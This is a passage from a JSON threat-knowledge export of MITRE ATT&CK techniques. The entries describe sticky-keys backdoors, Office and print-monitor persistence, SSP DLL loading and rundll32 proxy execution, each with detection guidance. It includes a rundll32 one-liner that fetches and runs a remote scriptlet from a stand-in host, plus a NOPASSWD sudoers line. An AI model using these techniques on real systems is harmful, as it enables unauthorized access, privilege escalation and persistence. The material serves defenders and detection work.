      "description": "Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are <code>C:\\Windows\\System32\\sethc.exe</code>, launched when the shift key is pressed five times and <code>C:\\Windows\\System32\\utilman.exe</code>, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in <code>%systemdir%\\</code>, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods:\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., <code>C:\\Windows\\System32\\utilman.exe</code>) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over Remote Desktop Protocol will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nFor the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for the accessibility program (e.g., \"utilman.exe\"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the \"debugger\" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)\n\n*On-Screen Keyboard: <code>C:\\Windows\\System32\\osk.exe</code>\n*Magnifier: <code>C:\\Windows\\System32\\Magnify.exe</code>\n*Narrator: <code>C:\\Windows\\System32\\Narrator.exe</code>\n*Display Switcher: <code>C:\\Windows\\System32\\DisplaySwitch.exe</code>\n*App Switcher: <code>C:\\Windows\\System32\\AtBroker.exe</code>\n\nDetection: Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options</code>.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, File monitoring, Process monitoring\n\nEffective Permissions: SYSTEM\n\nPermissions Required: Administrator\n\nContributors: Paul Speulstra, AECOM Global Security Operations Center",
      "meta": {
        "external_id": "T1015",
        "kill_chain": [
          "mitre-attack:enterprise-attack:persistence",
          "mitre-attack:enterprise-attack:privilege-escalation"
        ],
        "mitre_data_sources": [
          "Windows Registry",
          "File monitoring",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1015",
          "https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html",
          "https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom",
          "http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/"
        ]
      },
      "uuid": "9b99b83a-1aac-4e29-b975-b374950551a3",
      "value": "Accessibility Features - T1015"
    },
    {
      "description": "Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.\n\nA directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses Shortcut Modification of directory .LNK files that use Masquerading to look like the real directories, which are hidden through Hidden Files and Directories. The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot)\n\nDetection: Processes that write or overwrite many files to a network shared directory may be suspicious. Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to Command and Control and possible network Discovery techniques.\n\nFrequently scan shared network directories for malicious files, hidden files, .LNK files, and other file types that may not typical exist in directories used to share specific types of content.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process monitoring\n\nPermissions Required: User\n\nSystem Requirements: Access to shared folders and content with write permissions\n\nContributors: David Routin",
      "meta": {
        "external_id": "T1080",
        "kill_chain": [
          "mitre-attack:enterprise-attack:lateral-movement"
        ],
        "mitre_data_sources": [
          "File monitoring",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1080",
          "https://rewtin.blogspot.ch/2017/11/abusing-user-shares-for-efficient.html"
        ]
      },
      "uuid": "246fd3c7-f5e3-466d-8787-4c13d9e3b61c",
      "value": "Taint Shared Content - T1080"
    },
    {
      "description": "A drive-by compromise is when an adversary gains access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is targeted for exploitation. This can happen in several ways, but there are a few main components: \n\nMultiple ways of delivering exploit code to a browser exist, including:\n* A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, cross-site scripting.\n* Malicious ads are paid for and served through legitimate ad providers.\n* Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).\n\nOften the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted attack is referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring. (Citation: Shadowserver Strategic Web Compromise)\n\nTypical drive-by compromise process:\n# A user visits a website that is used to host the adversary controlled content.\n# Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. \n#* The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes.\n# Upon finding a vulnerable version, exploit code is delivered to the browser.\n# If exploitation is successful, then it will give the adversary code execution on the user's system unless other protections are in place.\n#* In some cases a second visit to the website after the initial scan is required before exploit code is delivered.\n\nUnlike Exploit Public-Facing Application, the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.\n\nDetection: Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before.\n\nNetwork intrusion detection systems, sometimes with SSL/TLS MITM inspection, can be used to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code.\n\nDetecting compromise based on the drive-by exploit from a legitimate website may be difficult. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of browser processes. This could include suspicious files written to disk, evidence of Process Injection for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Packet capture, Network device logs, Process use of network, Web proxy, Network intrusion detection system, SSL/TLS inspection\n\nPermissions Required: User",
      "meta": {
        "external_id": "T1189",
        "kill_chain": [
          "mitre-attack:enterprise-attack:initial-access"
        ],
        "mitre_data_sources": [
          "Packet capture",
          "Network device logs",
          "Process use of network",
          "Web proxy",
          "Network intrusion detection system",
          "SSL/TLS inspection"
        ],
        "mitre_platforms": [
          "Linux",
          "Windows",
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1189",
          "http://blog.shadowserver.org/2012/05/15/cyber-espionage-strategic-web-compromises-trusted-websites-serving-dangerous-results/"
        ]
      },
      "uuid": "d742a578-d70e-4d0e-96a6-02a9c30204e6",
      "value": "Drive-by Compromise - T1189"
    },
    {
      "description": "Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as Windows Remote Management can also be used externally.\n\nAdversaries may use remote services to access and persist within a network. (Citation: Volexity Virtual Private Keylogging) Access to Valid Accounts to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network. Access to remote services may be used as part of Redundant Access during an operation.\n\nDetection: Follow best practices for detecting adversary use of Valid Accounts for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours.\n\nPlatforms: Windows\n\nData Sources: Authentication logs\n\nPermissions Required: User\n\nContributors: Daniel Oakley, Travis Smith, Tripwire",
      "meta": {
        "external_id": "T1133",
        "kill_chain": [
          "mitre-attack:enterprise-attack:persistence"
        ],
        "mitre_data_sources": [
          "Authentication logs"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1133",
          "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/"
        ]
      },
      "uuid": "10d51417-ee35-4589-b1ff-b6df1c334e8d",
      "value": "External Remote Services - T1133"
    },
    {
      "description": "Adversaries may deploy malicious software to systems within a network using application deployment systems employed by enterprise administrators. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.\n\nAccess to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nDetection: Monitor application deployments from a secondary system. Perform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process use of network, Process monitoring\n\nSystem Requirements: Access to application deployment software (EPO, HPCA, Altiris, etc.)",
      "meta": {
        "external_id": "T1017",
        "kill_chain": [
          "mitre-attack:enterprise-attack:lateral-movement"
        ],
        "mitre_data_sources": [
          "File monitoring",
          "Process use of network",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1017"
        ]
      },
      "uuid": "327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61",
      "value": "Application Deployment Software - T1017"
    },
    {
      "description": "Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. Hooking involves redirecting calls to these functions and can be implemented via:\n* '''Hooks procedures''', which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Engame Process Injection July 2017)\n* '''Import address table (IAT) hooking''', which use modifications to a process’s IAT, where pointers to imported API functions are stored. (Citation: Engame Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* '''Inline hooking''', which overwrites the first bytes in an API function to redirect code flow. (Citation: Engame Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n\nSimilar to Process Injection, adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use.\n\nMalicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017)\n\nHooking is commonly utilized by Rootkits to conceal files,\nprocesses, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)\n\nDetection: Monitor for calls to the SetWindowsHookEx and SetWinEventHook functions, which install a hook procedure. (Citation: Microsoft Hook Overview) (Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools  (Citation: Volatility Detecting Hooks Sept 2012) (Citation: PreKageo Winhook Jul 2011) (Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures. (Citation: Zairon Hooking Dec 2006) (Citation: EyeofRa Detecting Hooking June 2017)\n\nRootkits detectors  (Citation: GMER Rootkits) can also be used to monitor for various flavors of hooking activity.\n\nVerify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes  (Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions. (Citation: StackExchange Hooks Jul 2012) (Citation: Adlice Software IAT Hooks Oct 2014)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.\n\nPlatforms: Windows\n\nData Sources: API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process Monitoring, Windows event logs\n\nPermissions Required: Administrator, SYSTEM",
      "meta": {
        "external_id": "T1179",
        "kill_chain": [
          "mitre-attack:enterprise-attack:credential-access",
          "mitre-attack:enterprise-attack:persistence",
          "mitre-attack:enterprise-attack:privilege-escalation"
        ],
        "mitre_data_sources": [
          "API monitoring",
          "Binary file metadata",
          "DLL monitoring",
          "Loaded DLLs",
          "Process Monitoring",
          "Windows event logs"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1179",
          "https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx",
          "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
          "https://www.adlice.com/userland-rootkits-part-1-iat-hooks/",
          "https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/",
          "https://www.exploit-db.com/docs/17802.pdf",
          "https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf",
          "https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html",
          "https://github.com/prekageo/winhook",
          "https://github.com/jay/gethooks",
          "https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/",
          "https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/",
          "http://www.gmer.net/",
          "https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx",
          "https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis"
        ]
      },
      "uuid": "66f73398-8394-4711-85e5-34c8540b22a5",
      "value": "Hooking - T1179"
    },
    {
      "description": "Port Knocking is a well-established method used by both defenders and adversaries to hide open ports from access.  To enable the port, the system expects a series of packets with certain characteristics before the port will be opened.  This is often accomlished by the host based firewall, but could also be implemented by custom software.  \n\nThis technique has been observed to both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods.  One means, originally implemented by Cd00r, is to use the libpcap libraries to sniff for the packets in question.  Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\n\nDetection: Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.\n\nPlatforms: Linux, macOS\n\nPermissions Required: User",
      "meta": {
        "external_id": "T1205",
        "kill_chain": [
          "mitre-attack:enterprise-attack:command-and-control",
          "mitre-attack:enterprise-attack:defense-evasion",
          "mitre-attack:enterprise-attack:persistence"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1205"
        ]
      },
      "uuid": "451a9977-d255-43c9-b431-66de80130c8c",
      "value": "Port Knocking - T1205"
    },
    {
      "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of Scripting to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. This functionality could also be built into remote access tools. \n\nThis technique may incorporate use of other techniques such as File and Directory Discovery and Remote File Copy to identify and move files.\n\nDetection: Depending on the method used, actions could include common file system commands and parameters on the command-line interface within batch files or scripts. A sequence of actions like this may be unusual, depending on the system and network environment. Automated collection may occur along with other techniques such as Data Staged. As such, file access monitoring that shows an unusual process performing sequential file opens and potentially copy actions to another location on the file system for many files at once may indicate automated collection behavior. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process command-line parameters, Data loss prevention\n\nPermissions Required: User\n\nSystem Requirements: Permissions to access directories and files that store information of interest.",
      "meta": {
        "external_id": "T1119",
        "kill_chain": [
          "mitre-attack:enterprise-attack:collection"
        ],
        "mitre_data_sources": [
          "File monitoring",
          "Process command-line parameters",
          "Data loss prevention"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1119"
        ]
      },
      "uuid": "30208d3e-0d6b-43c8-883e-44462a514619",
      "value": "Automated Collection - T1119"
    },
    {
      "description": "Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages</code> and <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.\n (Citation: Graeber 2014)\n\nDetection: Monitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key <code>HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe</code> with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)\n\nPlatforms: Windows\n\nData Sources: DLL monitoring, Windows Registry, Loaded DLLs\n\nPermissions Required: Administrator",
      "meta": {
        "external_id": "T1101",
        "kill_chain": [
          "mitre-attack:enterprise-attack:persistence"
        ],
        "mitre_data_sources": [
          "DLL monitoring",
          "Windows Registry",
          "Loaded DLLs"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1101",
          "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html",
          "https://technet.microsoft.com/en-us/library/dn408187.aspx"
        ]
      },
      "uuid": "6c174520-beea-43d9-aac6-28fb77f3e446",
      "value": "Security Support Provider - T1101"
    },
    {
      "description": "The sudoers file, <code>/etc/sudoers</code>, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like <code>user1 ALL=(ALL) NOPASSWD: ALL</code> (Citation: OSX.Dok Malware). \n\nAdversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though.\n\nDetection: On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo).\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring\n\nEffective Permissions: root\n\nPermissions Required: User",
      "meta": {
        "external_id": "T1169",
        "kill_chain": [
          "mitre-attack:enterprise-attack:privilege-escalation"
        ],
        "mitre_data_sources": [
          "File monitoring"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1169",
          "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/"
        ]
      },
      "uuid": "9e80ddfb-ce32-4961-a778-ca6a10cfae72",
      "value": "Sudo - T1169"
    },
    {
      "description": "Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started.\n\n===Office Template Macros===\n\nMicrosoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)\n\nOffice Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can inserted into the base templated and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded. (Citation: enigma0x3 normal.dotm) (Citation: Hexacorn Office Template Macros)\n\nWord Normal.dotm location:<code>C:\\Users\\(username)\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm</code>\n\nExcel Personal.xlsb location:<code>C:\\Users\\(username)\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB</code>\n\nAn adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.\n\n===Office Test===\n\nA Registry location was found that when a DLL reference was placed within it the corresponding DLL pointed to by the binary path would be executed every time an Office application is started (Citation: Hexacorn Office Test)\n\n<code>HKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf</code>\n\n===Add-ins===\n\nOffice add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins)\n\nAdd-ins can also be used to obtain persistence because they can be set to execute code when an Office application starts. There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), and Visual Studio Tools for Office (VSTO) add-ins. (Citation: MRWLabs Office Persistence Add-ins)\n\nDetection: Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence. Modification to base templated, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated.\n\nMonitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins. (Citation: MRWLabs Office Persistence Add-ins)\n\nNon-standard process execution trees may also indicate suspicious or malicious behavior. Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters, Windows Registry, File monitoring\n\nPermissions Required: User, Administrator\n\nSystem Requirements: Office Test technique: Office 2007, 2010, 2013, 2015 and 2016\nAdd-ins: some require administrator permissions\n\nContributors: Ricardo Dias, Loic Jaquemet",
      "meta": {
        "external_id": "T1137",
        "kill_chain": [
          "mitre-attack:enterprise-attack:persistence"
        ],
        "mitre_data_sources": [
          "Process monitoring",
          "Process command-line parameters",
          "Windows Registry",
          "File monitoring"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1137",
          "https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea",
          "https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office",
          "https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/",
          "http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/",
          "http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/",
          "https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460",
          "https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/"
        ]
      },
      "uuid": "2c4d4e92-0ccf-4a97-b54c-86d662988a53",
      "value": "Office Application Startup - T1137"
    },
    {
      "description": "The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.\n\nRundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\n\nRundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\"</code>  This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)\n\nDetection: Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring\n\nDefense Bypassed: Anti-virus, Application whitelisting\n\nPermissions Required: User\n\nRemote Support: No\n\nContributors: Ricardo Dias, Casey Smith",
      "meta": {
        "external_id": "T1085",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion",
          "mitre-attack:enterprise-attack:execution"
        ],
        "mitre_data_sources": [
          "File monitoring",
          "Binary file metadata",
          "Process command-line parameters",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1085",
          "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf",
          "https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/"
        ]
      },
      "uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5",
      "value": "Rundll32 - T1085"
    },
    {
      "description": "Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection.\n\nUser credentials may be sent over an insecure, unencrypted protocol that can be captured and obtained through network packet analysis. An adversary may place a network interface into promiscuous mode, using a utility to capture traffic in transit over the network or use span ports to capture a larger amount of data. In addition, techniques for name service resolution poisoning, such as LLMNR/NBT-NS Poisoning, can be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\nDetection: Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a man-in-the-middle attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Network device logs, Host network interface, Netflow/Enclave netflow\n\nPermissions Required: Administrator, SYSTEM\n\nSystem Requirements: Network interface access and packet capture driver",
      "meta": {
        "external_id": "T1040",
        "kill_chain": [
          "mitre-attack:enterprise-attack:credential-access"
        ],
        "mitre_data_sources": [
          "Network device logs",
          "Host network interface",
          "Netflow/Enclave netflow"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1040"
        ]
      },
      "uuid": "3257eb21-f9a7-4430-8de1-d8b6e288f529",
      "value": "Network Sniffing - T1040"
    },
    {
      "description": "A port monitor can be set through the  (Citation: AddMonitor) API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in <code>C:\\Windows\\System32</code> and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>. The Registry key contains entries for the following:\n*Local Port\n*Standard TCP/IP Port\n*USB Monitor\n*WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.\n\nDetection: * Monitor process API calls to  (Citation: AddMonitor).\n* Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal.\n* New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious.\n* Monitor Registry writes to <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>.\n* Run the Autoruns utility, which checks for this Registry key as a persistence mechanism (Citation: TechNet Autoruns)\n\nPlatforms: Windows\n\nData Sources: File monitoring, API monitoring, DLL monitoring, Windows Registry, Process monitoring\n\nEffective Permissions: SYSTEM\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Stefan Kanthak, Travis Smith, Tripwire",
      "meta": {
        "external_id": "T1013",
        "kill_chain": [
          "mitre-attack:enterprise-attack:persistence",
          "mitre-attack:enterprise-attack:privilege-escalation"
        ],
        "mitre_data_sources": [
          "File monitoring",
          "API monitoring",
          "DLL monitoring",
          "Windows Registry",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1013",
          "http://msdn.microsoft.com/en-us/library/dd183341",
          "https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf",
          "https://technet.microsoft.com/en-us/sysinternals/bb963902"
        ]
      },
      "uuid": "1f47e2fd-fa77-4f2f-88ee-e85df308f125",
      "value": "Port Monitors - T1013"
    },
    {
